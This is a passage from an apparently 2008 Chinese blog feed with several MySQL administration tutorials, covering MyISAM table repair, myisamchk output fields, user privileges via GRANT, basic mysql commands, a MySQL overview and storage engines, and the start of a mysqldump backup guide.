-q意味着“快速恢复模式”)<br />  如果在修复时，你得到奇怪的错误(例如out of memory错误)，或如果myisamchk崩溃，到阶段3。<br /><br />困难的修复<br />   只有在索引文件的第一个16K块被破坏，或包含不正确的信息，或如果索引文件丢失，你才应该到这个阶段。在这种情况下，需要创建一个新的索引文件。按如下步骤操做：<br /><br />   1. 把数据文件移到安全的地方。<br />   2. 使用表描述文件创建新的(空)数据文件和索引文件：<br />   3. shell&gt; mysql db_name<br />   4. mysql&gt; SET AUTOCOMMIT=1;<br />   5. mysql&gt; TRUNCATE TABLE tbl_name;<br />   6. mysql&gt; quit<br />      如果你的MySQL版本没有TRUNCATE TABLE，则使用DELETE FROM tbl_name。<br />   7. 将老的数据文件拷贝到新创建的数据文件之中。（不要只是将老文件移回新文件之中；你要保留一个副本以防某些东西出错。）<br /><br />回到阶段2。现在myisamchk -r -q应该工作了。（这不应该是一个无限循环）。<br /><br />你还可以使用REPAIR TABLE tbl_name USE_FRM，将自动执行整个程序。<br /><br /><br />非常困难的修复<br />   只有.frm描述文件也破坏了，你才应该到达这个阶段。这应该从未发生过，因为在表被创建以后，描述文件就不再改变了。<br /><br />   1. 从一个备份恢复描述文件然后回到阶段3。你也可以恢复索引文件然后回到阶段2。对后者，你应该用myisamchk -r启动。<br />
2.
如果你没有进行备份但是确切地知道表是怎样创建的，在另一个数据库中创建表的一个拷贝。删除新的数据文件，然后从其他数据库将描述文件和索引文件移到破坏
的数据库中。这样提供了新的描述和索引文件，但是让.MYD数据文件独自留下来了。回到阶段2并且尝试重建索引文件。<br /><br /><br />7.清理碎片<br />对Innodb 表则可以通过执行以下语句来整理碎片，提高索引速度：<br />ALTER TABLE tbl_name ENGINE = Innodb;<br />这其实是一个 NULL 操作，表面上看什么也不做，实际上重新整理碎片了。<br /><br />对myisam表格，为了组合碎片记录并且消除由于删除或更新记录而浪费的空间，以恢复模式运行myisamchk：<br /><br />shell&gt; myisamchk -r tbl_name<br /><br />你可以用SQL的OPTIMIZE TABLE语句使用的相同方式来优化表，OPTIMIZE TABLE可以修复表并对键值进行分析，并且可以对索引树进行排序以便更快地查找键值。<br /><br />8.建立表检查计划<br />   运行一个crontab，每天定期检查所有的myisam表格。<br />   35 0 * * 0 /path/to/myisamchk --fast --silent /path/to/datadir/*/*.MYI<br /><br />9.获取表的信息<br /><br /> myisamchk -d  tbl_name：以“描述模式”运行myisamchk，生成表的描述<br /> myisamchk -d -v  tbl_name: 为了生成更多关于myisamchk正在做什么的信息，加上-v告诉它以冗长模式运行。<br /> myisamchk -eis  tbl_name:仅显示表的最重要的信息。因为必须读取整个表，该操作很慢。<br /> myisamchk -eiv  tbl_name:这类似 -eis，只是告诉你正在做什么。<br /><br /><br />10.Myisamchk产生的信息解释<br /><br />MyISAM file<br />     ISAM(索引)文件名。<br /><br />File-version<br />         ISAM格式的版本。当前总是2。<br /><br />Creation time<br />    数据文件创建的时间。<br /><br />Recover time<br />    索引/数据文件上次被重建的时间。<br /><br />Data records<br />    在表中有多少记录。<br /><br />Deleted blocks<br />    有多少删除的块仍然保留着空间。你可以优化表以使这个空间减到最小。参见第7章：优化。<br /><br />Datafile parts<br />    对动态记录格式，这指出有多少数据块。对于一个没有碎片的优化过的表，这与Data records相同。<br /><br />Deleted data<br />    不能回收的删除数据有多少字节。你可以优化表以使这个空间减到最小。参见第7章：优化。<br /><br />Datafile pointer<br />    数据文件指针的大小，以字节计。它通常是2、3、4或5个字节。大多数表用2个字节管理，但是目前这还不能从MySQL控制。<br />    对固定表，这是一个记录地址。对动态表，这是一个字节地址。<br /><br />Keyfile pointer<br />    索引文件指针的大小，以字节计。它通常是1、2或3个字节。大多数表用 2 个字节管理，但是它自动由MySQL计算。<br />    它总是一个块地址。<br /><br />Max datafile length<br />    表的数据文件(.MYD文件)能够有多长，以字节计。<br /><br />Max keyfile length<br />    表的键值文件(.MYI文件)能够有多长，以字节计。<br /><br />Recordlength<br />    每个记录占多少空间，以字节计。<br /><br />Record format<br />    用于存储表行的格式。上面的例子使用Fixed length。其他可能的值是Compressed和Packed。<br /><br />table description<br />    在表中所有键值的列表。对每个键，给出一些底层的信息：<br />    Key<br />        该键的编号。<br />    Start<br />        该索引部分从记录的哪里开始。<br />    Len<br />        该索引部分是多长。对于紧凑的数字，这应该总是列的全长。对字符串，它可以比索引的列的全长短些，<br />        因为你可能会索引到字符串列的前缀。<br />    Index<br />        unique或multip（multiple)。表明一个值是否能在该索引中存在多次。<br />    Type<br />        该索引部分有什么数据类型。这是一个packed、stripped或empty选项的ISAM数据类型。<br />    Root<br />        根索引块的地址。<br />    Blocksize<br />        每个索引块的大小。默认是1024，但是从源码构建MySQL时，该值可以在编译时改变。<br />     Rec/key<br />        这是由优化器使用的统计值。它告诉对该键的每个值有多少条记录。唯一键总是有一个1值。<br />        在一个表被装载后(或变更很大)，可以用myisamchk -a更新。如果根本没被更新，给定一个30的默认值。<br />        在上面例子的表中，第9个键有两个table description行。这说明它是有2个部分的多部键。<br /><br />Keyblocks used<br />    键块使用的百分比是什么。当在例子中使用的表刚刚用myisamchk重新组织时，该值非常高(很接近理论上的最大值)。<br /><br />Packed<br />    MySQL试图用一个通用后缀压缩键。这只能被用于CHAR/VARCHAR/DECIMAL列的键。对于左部分类似的长字符串，<br />    能显著地减少使用空间。在上面的第3个例子中，第4个键是10个字符长，可以减少60%的空间。<br /><br />Max levels<br />    对于该键的B树有多深。有长键的大表有较高的值。<br /><br />Records<br />    表中有多少行。<br /><br />M.recordlength<br />    平均记录长度。对于有定长记录的表，这是准确的记录长度，因为所有记录的长度相同。<br /><br />Packed<br />    MySQL从字符串的结尾去掉空格。Packed值表明这样做达到的节约的百分比。<br /><br />Recordspace used<br />    数据文件被使用的百分比。<br /><br />Empty space<br />    数据文件未被使用的百分比。<br /><br />Blocks/Record<br />    每个记录的平均块数(即，一个碎片记录由多少个连接组成)。对固定格式表，这总是1。该值应该尽可能保持接近1.0。<br />    如果它变得太大，你可以重新组织表。参见第7章：优化。<br /><br />Recordblocks<br />    多少块(链接)被使用。对固定格式，它与记录的个数相同。<br /><br />Deleteblocks<br />    多少块(链接)被删除。<br /><br />Recorddata<br />    在数据文件中使用了多少字节。<br /><br />Deleted data<br />    在数据文件中多少字节被删除(未使用)。<br /><br />Lost space<br />    如果一个记录被更新为更短的长度，就损失了一些空间。这是所有这样的损失之和，以字节计。<br /><br />Linkdata<br />    当使用动态表格式，记录碎片用指针连接(每个4 ～ 7字节)。 Linkdata指这样的指针使用的内存量之和。<img src ="http://www.blogjava.net/jiabao/aggbug/192498.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jiabao/" target="_blank">金家寶</a> 2008-04-13 02:08 <a href="http://www.blogjava.net/jiabao/archive/2008/04/13/192498.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MySql管理的一点心得</title><link>http://www.blogjava.net/jiabao/archive/2008/04/13/192497.html</link><dc:creator>金家寶</dc:creator><author>金家寶</author><pubDate>Sat, 12 Apr 2008 17:53:00 GMT</pubDate><guid>http://www.blogjava.net/jiabao/archive/2008/04/13/192497.html</guid><wfw:comment>http://www.blogjava.net/jiabao/comments/192497.html</wfw:comment><comments>http://www.blogjava.net/jiabao/archive/2008/04/13/192497.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jiabao/comments/commentRss/192497.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jiabao/services/trackbacks/192497.html</trackback:ping><description><![CDATA[MySql数据库是中小型网站后台数据库的首选,因为它对非商业应用是免费的.网站开发者可以搭建一个"Linux+Apache+PHP+MySql"
平台,这是一个最省钱的高效平台.在使用MySql进行开发时,MySql自带的文档对于新手来说是份很好的参考资料.本文是我在使用MySql中的小小
心得。<br />当前一般用户的开发环境多是Windows或Linux，用户可以到<a href="http://www.mysql.com/" target="_blank">http://www.mysql.com</a>下
载相关版本进行安装，在 windows中MySql以服务形式存在，在使用前应确保此服务已经启动，未启动可用net start
mysql命令启动。而Linux中启动时可用“/etc/rc.d/init.d/mysqld start"命令，注意启动者应具有管理员权限。<br />刚安装好的MySql包含一个含空密码的root帐户和一个匿名帐户，这是很大的安全隐患，对于一些重要的应用我们应将安全性尽可能提高，在这里应把匿名帐户删除、 root帐户设置密码，可用如下命令进行：<br />use mysql;<br />delete from User where User="";<br />update User set Password=PASSWORD('newpassword') where User='root';<br />如果要对用户所用的登录终端进行限制，可以更新User表中相应用户的Host字段，在进行了以上更改后应重新启动数据库服务，此时登录时可用如下类似命令：<br />mysql -uroot -p;<br />mysql -uroot -pnewpassword;<br />mysql mydb -uroot -p;<br />mysql mydb -uroot -pnewpassword;<br />上面命令参数是常用参数的一部分，详细情况可参考文档。此处的mydb是要登录的数据库的名称。<br />在
进行开发和实际应用中，用户不应该只用root用户进行连接数据库，虽然使用root用户进行测试时很方便，但会给系统带来重大安全隐患，也不利于管理技
术的提高。我们给一个应用中使用的用户赋予最恰当的数据库权限。如一个只进行数据插入的用户不应赋予其删除数据的权限。MySql的用户管理是通过
User表来实现的，添加新用户常用的方法有两个，一是在User表插入相应的数据行，同时设置相应的权限；二是通过GRANT命令创建具有某种权限的用
户。其中GRANT的常用用法如下：<br />grant all on mydb.* to NewUserName@HostName identified by "password" ;<br />grant usage on *.* to NewUserName@HostName identified by "password";<br />grant select,insert,update on mydb.* to NewUserName@HostName identified by "password";<br />grant update,delete on mydb.TestTable to NewUserName@HostName identified by "password";<br />若
要给此用户赋予他在相应对象上的权限的管理能力，可在GRANT后面添加WITH GRANT
OPTION选项。而对于用插入User表添加的用户，Password字段应用PASSWORD
函数进行更新加密，以防不轨之人窃看密码。对于那些已经不用的用户应给予清除，权限过界的用户应及时回收权限，回收权限可以通过更新User表相应字段，
也可以使用REVOKE操作。<br />下面给出本人从其它资料(<a href="http://www.cn-java.com%29/" target="_blank">www.cn-java.com)</a>获得的对常用权限的解释：<br />全局管理权限：<br />FILE: 在MySQL服务器上读写文件。<br />PROCESS: 显示或杀死属于其它用户的服务线程。<br />RELOAD: 重载访问控制表，刷新日志等。<br />SHUTDOWN: 关闭MySQL服务。<br />数据库/数据表/数据列权限：<br />ALTER: 修改已存在的数据表(例如增加/删除列)和索引。<br />CREATE: 建立新的数据库或数据表。<br />DELETE: 删除表的记录。<br />DROP: 删除数据表或数据库。<br />INDEX: 建立或删除索引。<br />INSERT: 增加表的记录。<br />SELECT: 显示/搜索表的记录。<br />UPDATE: 修改表中已存在的记录。<br />特别的权限：<br />ALL: 允许做任何事(和root一样)。<br />USAGE: 只允许登录--其它什么也不允许做。<br />最后给出本人在RedHat9.0下的MySql操作演示：<br />选用数据库的root用户登录<br />[weiwen@weiwenlinux]$mysql -uroot -p<br />Enter password:MyPassword<br />mysql&gt;create database mydb;<br />Query OK, 1 row affected (0.02 sec)<br />mysql&gt;use mydb;<br />Database changed<br />mysql&gt;create table TestTable(Id int aut_increment primary key,<br />UserName varchar(16) not null,<br />Address varchar(255));<br />Query OK, 0 rows affected (0.02 sec)<br />mysql&gt;grant all on mydb.* to test@localhost identified by "test";<br />Query OK, 0 rows affected (0.01 sec)<br />mysql&gt;quit<br />Bye<br />[weiwen@weiwenlinux]$mysql mydb -utest -ptest<br />其中test.sql是用vi编辑好的SQL脚本，其内容为：<br />Insert into TestTable(UserName,Address)values('Tom','shanghai');<br />Insert into TestTable(UserName,Address)values('John','beijing');<br />select * from TestTable;<br />运行已经编辑好的SQL脚本可以用source filename 或 . filename。<br />以上只是对新手的简单练习，要成为一个数据库好手，当以孜孜不倦地追求知识，不断地思考、尝试、再思考。<img src ="http://www.blogjava.net/jiabao/aggbug/192497.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jiabao/" target="_blank">金家寶</a> 2008-04-13 01:53 <a href="http://www.blogjava.net/jiabao/archive/2008/04/13/192497.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>mysql命令行常用命令(非常基础的几个命令）</title><link>http://www.blogjava.net/jiabao/archive/2008/04/13/192496.html</link><dc:creator>金家寶</dc:creator><author>金家寶</author><pubDate>Sat, 12 Apr 2008 17:20:00 GMT</pubDate><guid>http://www.blogjava.net/jiabao/archive/2008/04/13/192496.html</guid><wfw:comment>http://www.blogjava.net/jiabao/comments/192496.html</wfw:comment><comments>http://www.blogjava.net/jiabao/archive/2008/04/13/192496.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jiabao/comments/commentRss/192496.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jiabao/services/trackbacks/192496.html</trackback:ping><description><![CDATA[
		<div id="artibodyTitle">
				<h1>  第一招、mysql服务的启动和停止</h1>
		</div>
		<!--正文内容开始-->
		<!-- google_ad_section_start -->
		<!-- 正文内部文字导航 : begin -->
		<!-- 正文内部文字导航 : end -->
		<p>　　net stop mysql</p>
		<p>　　net start mysql</p>
		<p>　　第二招、登陆mysql</p>
		<p>　　语法如下： mysql -u用户名 -p用户密码</p>
		<p>　　键入命令mysql -uroot -p， 回车后提示你输入密码，输入12345，然后回车即可进入到mysql中了，mysql的提示符是：</p>
		<p>　　mysql&gt;</p>
		<p>　　注意，如果是连接到另外的机器上，则需要加入一个参数-h机器IP</p>
		<p>　　第三招、增加新用户</p>
		<p>　　格式：grant 权限 on 数据库.* to 用户名@登录主机 identified by "密码"</p>
		<p>　　如，增加一个用户user1密码为password1，让其可以在本机上登录， 并对所有数据库有查询、插入、修改、删除的权限。首先用以root用户连入mysql，然后键入以下命令：</p>
		<p>　　grant select，insert，update，delete on *.* to user1@localhost Identified by "password1";</p>
		<p>　　如果希望该用户能够在任何机器上登陆mysql，则将localhost改为"%"。</p>
		<p>　　如果你不想user1有密码，可以再打一个命令将密码去掉。</p>
		<p>　　grant select，insert，update，delete on mydb.* to user1@localhost identified by "";</p>
		<p>　　第四招： 操作数据库</p>
		<p>　　登录到mysql中，然后在mysql的提示符下运行下列命令，每个命令以分号结束。</p>
		<p>　　1、 显示数据库列表。</p>
		<p>　　show databases;</p>
		<p>　　缺省有两个数据库：mysql和test。 mysql库存放着mysql的系统和用户权限信息，我们改密码和新增用户，实际上就是对这个库进行操作。</p>
		<p>　　2、 显示库中的数据表：</p>
		<p>　　use mysql;</p>
		<p>　　show tables;</p>
		<p>　　3、 显示数据表的结构：</p>
		<p>　　describe 表名;</p>
		<p>　　4、 建库与删库：</p>
		<p>　　create database 库名;</p>
		<p>　　drop database 库名;</p>
		<p>　　5、 建表：</p>
		<p>　　use 库名;</p>
		<p>　　create table 表名(字段列表);</p>
		<p>　　drop table 表名;</p>
		<p>　　6、 清空表中记录：</p>
		<p>　　delete from 表名;</p>
		<p>　　7、 显示表中的记录：</p>
		<p>　　select * from 表名;</p>
		<p>　　第五招、导出和导入数据</p>
		<p>　　1. 导出数据：</p>
		<p>　　mysqldump --opt test &gt; mysql.test</p>
		<p>　　即将数据库test数据库导出到mysql.test文件，后者是一个文本文件</p>
		<p>　　如：mysqldump -u root -p123456 --databases dbname &gt; mysql.dbname</p>
		<p>　　就是把数据库dbname导出到文件mysql.dbname中。</p>
		<p>　　2. 导入数据:</p>
		<p>　　mysqlimport -u root -p123456 &lt; mysql.dbname。</p>
		<p>　　不用解释了吧。</p>
		<p>　　3. 将文本数据导入数据库:</p>
		<p>　　文本数据的字段数据之间用tab键隔开。</p>
		<p>　　use test;</p>
		<p>　　load data local infile "文件名" into table 表名;</p>
<img src ="http://www.blogjava.net/jiabao/aggbug/192496.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jiabao/" target="_blank">金家寶</a> 2008-04-13 01:20 <a href="http://www.blogjava.net/jiabao/archive/2008/04/13/192496.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MYSQL基本常识·~</title><link>http://www.blogjava.net/jiabao/archive/2008/04/12/192388.html</link><dc:creator>金家寶</dc:creator><author>金家寶</author><pubDate>Sat, 12 Apr 2008 04:37:00 GMT</pubDate><guid>http://www.blogjava.net/jiabao/archive/2008/04/12/192388.html</guid><wfw:comment>http://www.blogjava.net/jiabao/comments/192388.html</wfw:comment><comments>http://www.blogjava.net/jiabao/archive/2008/04/12/192388.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jiabao/comments/commentRss/192388.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jiabao/services/trackbacks/192388.html</trackback:ping><description><![CDATA[
		<div class="titord">
				<span class="t1">
						<a name="1">
						</a>MySQL名字的来历</span>
		</div>MySQL最初的开发者的意图是用mSQL和他们自己的快速低级例程(ISAM)去连接表格。不管怎样，在经过一些测试后，开发者得出结论：mSQL并没有他们需要的那么快和灵活。这导致了一个使用几乎和mSQL一样的API接口的用于他们的数据库的新的SQL接口的产生，这样，这个API被设计成允许为用于mSQL而写的第三方代码更容易移植到MySQL。<br />MySQL这个名字是怎么来的已经不清楚了。基本指南和大量的库和工具带有前缀“my”已经有10年以上，而且不管怎样，MySQL AB创始人之一的Monty Widenius的女儿也叫My。这两个到底是哪一个给出了MySQL这个名字至今依然是个密，包括开发者在内也不知道。<br />MySQL的海豚标志的名字叫“sakila”，它是由MySQL AB的创始人从用户在“海豚命名”的竞赛中建议的大量的名字表中选出的。获胜的名字是由来自非洲斯威士兰的开源软件开发者Ambrose Twebaze提供。根据Ambrose所说，Sakila来自一种叫SiSwati的斯威士兰方言，也是在Ambrose的家乡乌干达附近的坦桑尼亚的Arusha的一个小镇的名字。<br /><br /><b><div class="titord"><span class="arr"><a id="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN_0" title="返回页首" href="http://baike.baidu.com/view/24816.htm#" name="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN"></a></span><span class="t1"><a name="2"></a>MySQL的概述</span></div></b>MySQL是一个小型关系型数据库管理系统，开发者为瑞典MySQL AB公司。目前MySQL被广泛地应用在Internet上的中小型网站中。由于其体积小、速度快、总体拥有成本低，尤其是开放源码这一特点，许多中小型网站为了降低网站总体拥有成本而选择了MySQL作为网站数据库。<br /><br /><div class="titord"><span class="arr"><a id="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN_1" title="返回页首" href="http://baike.baidu.com/view/24816.htm#" name="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN"></a></span><span class="t1"><a name="3"></a><strong>MySQL的特性</strong></span></div>1.使用C和C++编写，并使用了多种<a href="http://baike.baidu.com/view/487018.htm" target="_blank">编译器</a>进行测试，保证源代码的可移植性 <br />2.支持AIX、<a href="http://baike.baidu.com/view/21459.htm" target="_blank">FreeBSD</a>、HP-UX、<a href="http://baike.baidu.com/view/1634.htm" target="_blank">Linux</a>、Mac OS、<a href="http://baike.baidu.com/view/68826.htm" target="_blank">Novell</a> Netware、OpenBSD、OS/2 Wrap、Solaris、Windows等多种操作系统 <br />3.为多种编程语言提供了API。这些编程语言包括<a href="http://baike.baidu.com/view/10075.htm" target="_blank">C</a>、C++、Eiffel、Java、<a href="http://baike.baidu.com/view/46614.htm" target="_blank">Perl</a>、<a href="http://baike.baidu.com/view/99.htm" target="_blank">PHP</a>、Python、Ruby和Tcl等。 <br />4.支持<a href="http://baike.baidu.com/view/65706.htm" target="_blank">多线程</a>，充分利用CPU资源 <br />5.优化的<a href="http://baike.baidu.com/view/34.htm" target="_blank">SQL</a>查询算法，有效地提高查询速度 <br />6.既能够作为一个单独的应用程序应用在客户端服务器网络环境中，也能够作为一个库而嵌入到其他的软件中提供多语言支持，常见的<a href="http://baike.baidu.com/view/237708.htm" target="_blank">编码</a>如中文的GB 2312、BIG5，日文的Shift_JIS等都可以用作数据表名和数据列名<br />7.提供TCP/IP、ODBC和JDBC等多种数据库连接途径 <br />8.提供用于管理、检查、优化数据库操作的管理工具 <br />9.可以处理拥有上千万条记录的大型数据库 <br /><b><br /><div class="titord"><span class="arr"><a id="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN_2" title="返回页首" href="http://baike.baidu.com/view/24816.htm#" name="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN"></a></span><span class="t1"><a name="4"></a>MySQL的应用</span></div></b><br />与其他的大型数据库例如Oracle、DB2、SQL Server等相比，MySQL自有它的不足之处，如规模小、功能有限（MySQL不支持视图（已经被列入5.1版的开发计划）、事件等）等，但是这丝毫也没有减少它受欢迎的程度。对于一般的个人使用者和中小型企业来说，MySQL提供的功能已经绰绰有余，而且由于MySQL是开放源码软件，因此可以大大降低总体拥有成本。<br /><br />目前Internet上流行的网站构架方式是LAMP（Linux+Apache+MySQL+PHP），即使用Linux作为操作系统，Apache作为Web服务器，MySQL作为数据库，PHP作为服务器端脚本解释器。由于这四个软件都是遵循GPL的开放源码软件，因此使用这种方式不用花一分钱就可以建立起一个稳定、免费的网站系统。<br /><b><br /><div class="titord"><span class="arr"><a id="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN_3" title="返回页首" href="http://baike.baidu.com/view/24816.htm#" name="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN"></a></span><span class="t1"><a name="5"></a>MySQL管理</span></div></b><br />可以使用命令行工具管理MySQL数据库（命令mysql 和 mysqladmin)，也可以从MySQL的网站下载图形管理工具MySQL Administrator和MySQL Query Browser。<br /><br />phpMyAdmin是由php写成的MySQL资料库系统管理程式，让管理者可用Web介面管理MySQL资料库。<br /><br />phpMyBackupPro也是由PHP写成的，可以透过Web介面创建和管理数据库。它可以创建伪cronjobs，可以用来自动在某个时间或周期备份MySQL 数据库。<br /><br /><b><br /><div class="titord"><span class="arr"><a id="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN_4" title="返回页首" href="http://baike.baidu.com/view/24816.htm#" name="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN"></a></span><span class="t1"><a name="6"></a>Mysql存储引擎</span></div></b><br /><a href="http://baike.baidu.com/view/1238940.htm" target="_blank">MyISAM</a>      Mysql的默认数据库，最为常用。拥有较高的插入，查询速度，但不支持事务<br /><a href="http://baike.baidu.com/view/1238935.htm" target="_blank">InnoDB</a>      事务型数据库的首选引擎，支持<a href="http://baike.baidu.com/view/600227.htm" target="_blank">ACID</a>事务，支持行级锁定<br /><a href="http://baike.baidu.com/view/1303712.htm" target="_blank">BDB</a>         源自Berkeley DB，事务型数据库的另一种选择，支持COMMIT和ROLLBACK等其他事务特性<br /><a href="http://baike.baidu.com/view/171611.htm" target="_blank">Memory</a>      所有数据置于内存的存储引擎，拥有极高的插入，更新和查询效率。但是会占用和数据量成正比的内存空间。并且其内容会在Mysql重新启动时丢失<br />Merge       将一定数量的MyISAM表联合而成一个整体，在超大规模数据存储时很有用<br /><a href="http://baike.baidu.com/view/150865.htm" target="_blank">Archive</a>     非常适合存储大量的独立的，作为历史记录的数据。因为它们不经常被读取。Archive拥有高效的插入速度，但其对查询的支持相对较差<br />Federated   将不同的Mysql服务器联合起来，逻辑上组成一个完整的数据库。非常适合分布式应用<br />Cluster/NDB 高冗余的存储引擎，用多台数据机器联合提供服务以提高整体性能和安全性。适合数据量大，安全和性能要求高的应用<br /><a href="http://baike.baidu.com/view/468993.htm" target="_blank">CSV</a>         逻辑上由逗号分割数据的存储引擎<br />BlackHole   黑洞引擎，写入的任何数据都会消失<br /><br />另外，Mysql的存储引擎接口定义良好。有兴趣的开发者通过阅读文档编写自己的存储引擎。<br /><br /><div class="titord"><span class="arr"><a id="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN_5" title="返回页首" href="http://baike.baidu.com/view/24816.htm#" name="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN"></a></span><span class="t1"><a name="7"></a><strong>Mysql最常见的应用架构</strong></span></div>单点(Single)，适合小规模应用<br />复制(Replication)，适合中小规模应用<br />集群(Cluster)，适合大规模应用<br /><br /><b><br /><div class="titord"><span class="arr"><a id="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN_6" title="返回页首" href="http://baike.baidu.com/view/24816.htm#" name="STAT_ONCLICK_UNSUBMIT_CATALOG_RETURN"></a></span><span class="t1"><a name="8"></a>Mysql中文视频教学</span></div></b><br />左光华的mysql网络数据库开发教学视频<a href="http://www.tudou.com/playlist/mysql/" target="_blank">http://www.tudou.com/playlist/mysql/</a><br />Mysql6.0的alpha版于2007年初发布，新版增加了对falcon存储引擎的支持。Falcon是Mysql社区自主开发的引擎，支持ACID特性事务，支持行锁，拥有高性能的并发性。Mysql AB公司想用Falcon替代已经非常流行的InnoDB引擎，因为拥有后者技术的InnoBase已经被竞争对手Oracle所收购。 <br /><br />2008年1月16日，<a href="http://baike.baidu.com/view/24856.htm" target="_blank">Sun</a> Microsystems宣布收购MySQL AB，出价约10亿美元现金外加期权。 <a href="http://www.mysql.com/news-and-events/sun-to-acquire-mysql.html" target="_blank">http://www.mysql.com/news-and-events/sun-to-acquire-mysql.html</a><img src ="http://www.blogjava.net/jiabao/aggbug/192388.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jiabao/" target="_blank">金家寶</a> 2008-04-12 12:37 <a href="http://www.blogjava.net/jiabao/archive/2008/04/12/192388.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MySQL数据备份(包含一些常用处理工具名称)</title><link>http://www.blogjava.net/jiabao/archive/2008/04/12/192377.html</link><dc:creator>金家寶</dc:creator><author>金家寶</author><pubDate>Sat, 12 Apr 2008 03:35:00 GMT</pubDate><guid>http://www.blogjava.net/jiabao/archive/2008/04/12/192377.html</guid><wfw:comment>http://www.blogjava.net/jiabao/comments/192377.html</wfw:comment><comments>http://www.blogjava.net/jiabao/archive/2008/04/12/192377.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jiabao/comments/commentRss/192377.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jiabao/services/trackbacks/192377.html</trackback:ping><description><![CDATA[
		<div class="doctt"> </div>
		<div class="doctext">
				<p>　　在数据库表丢失或损坏的情况下，备份你的数据库是很重要的。如果发生系统崩溃，你肯定想能够将你的表尽可能丢失最少的数据恢复到崩溃发生时的状态。有时，正是 MySQL 管理员造成破坏。管理员已经知道表已破坏，用诸如 vi 或 Emacs 等编辑器试图直接编辑它们，这对表绝对不是件好事！ </p>
				<p>　　备份数据库两个主要方法是用 mysqldump 程序或直接拷贝数据库文件（如用 cp、cpio 或 tar 等）。每种方法都有其优缺点： </p>
				<p>　　mysqldump 与 MySQL 服务器协同操作。直接拷贝方法在服务器外部进行，并且你必须采取措施保证没有客户正在修改你将拷贝的表。如果你想用文件系统备份来备份数据库，也会发生同样的问题：如果数据库表在文件系统备份过程中被修改，进入备份的表文件主语不一致的状态，而对以后的恢复表将失去意义。文件系统备份与直接拷贝文件的区别是对后者你完全控制了备份过程，这样你能采取措施确保服务器让表不受干扰。 </p>
				<p>　　mysqldump 比直接拷贝要慢些。 </p>
				<p>　　mysqldump 生成能够移植到其它机器的文本文件，甚至那些有不同硬件结构的机器上。直接拷贝文件不能移植到其它机器上，除非你正在拷贝的表使用 MyISAM 存储格式。ISAM 表只能在相似的硬件结构的机器上拷贝。在 MySQL 3.23 中引入的 MyISAM 表存储格式解决了该问题，因为该格式是机器无关的，所以直接拷贝文件可以移植到具有不同硬件结构的机器上。只要满足两个条件：另一台机器必须也运行 MySQL 3.23 或以后版本，而且文件必须以 MyISAM 格式表示，而不是 ISAM 格式。 </p>
				<p>　　不管你使用哪种备份方法，如果你需要恢复数据库，有几个原则应该遵守，以确保最好的结果： </p>
				<p>　　定期实施备份。建立一个计划并严格遵守。 </p>
				<p>　　让服务器执行更新日志。当你在崩溃后需要恢复数据时，更新日志将帮助你。在你用备份文件恢复数据到备份时的状态后，你可以通过运行更新日志中的查询再次运用备份后面的修改，这将数据库中的表恢复到崩溃发生时的状态。 </p>
				<p>　　以文件系统备份的术语讲，数据库备份文件代表完全倾倒（full dump），而更新日志代表渐进倾倒（incremental dump）。 </p>
				<p>　　使用一种统一的和易理解的备份文件命名机制。象 backup1、buckup2 等不是特别有意义。当实施你的恢复时，你将浪费时间找出文件里是什么东西。你可能发觉用数据库名和日期构成备份文件名会很有用。例如： </p>
				<p>　　%mysqldump samp_db &gt;/usr/archives/mysql/samp_db.1999-10-02 </p>
				<p>　　%mysqldump menagerie &gt;/usr/archives/mysql/menagerie.1999-10-02 </p>
				<p>　　你可能想在生成备份后压缩它们。备份一般都很大！你也需要让你的备份文件有过期期限以避免它们填满你的磁盘，就象你让你的日志文件过期那样。 </p>
				<p>　　用文件系统备份备份你的备份文件。如果遇上了一个彻底崩溃，不仅清除了你的数据目录，也清除了包含你的数据库备份的磁盘驱动器，你将真正遇上了麻烦。 </p>
				<p>　　也要备份你的更新日志。 </p>
				<p>　　将你的备份文件放在不同于用于你的数据库的文件系统上。这将降低由于生成备份而填满包含数据目录的文件系统的可能性。 </p>
				<p>　　用于创建备份的技术同样对拷贝数据库到另一台机器有用。最常见地，一个数据库被转移到了运行在另一台主机上的服务器，但是你也可以将数据转移到同一台主机上的另一个服务器。 </p>
				<p>　　1 使用 mysqldump 备份和拷贝数据库 </p>
				<p>　　当你使用 mysqldumo 程序产生数据库备份文件时，缺省地，文件内容包含创建正在倾倒的表的 CREATE 语句和包含表中行数据的 INSERT 语句。换句话说，mysqldump 产生的输出可在以后用作 mysql 的输入来重建数据库。 </p>
				<p>　　你可以将整个数据库倾倒进一个单独的文本文件中，如下： </p>
				<p>　　%mysqldump samp_db &gt;/usr/archives/mysql/samp_db.1999-10-02 </p>
				<p>　　输出文件的开头看起来象这样： </p>
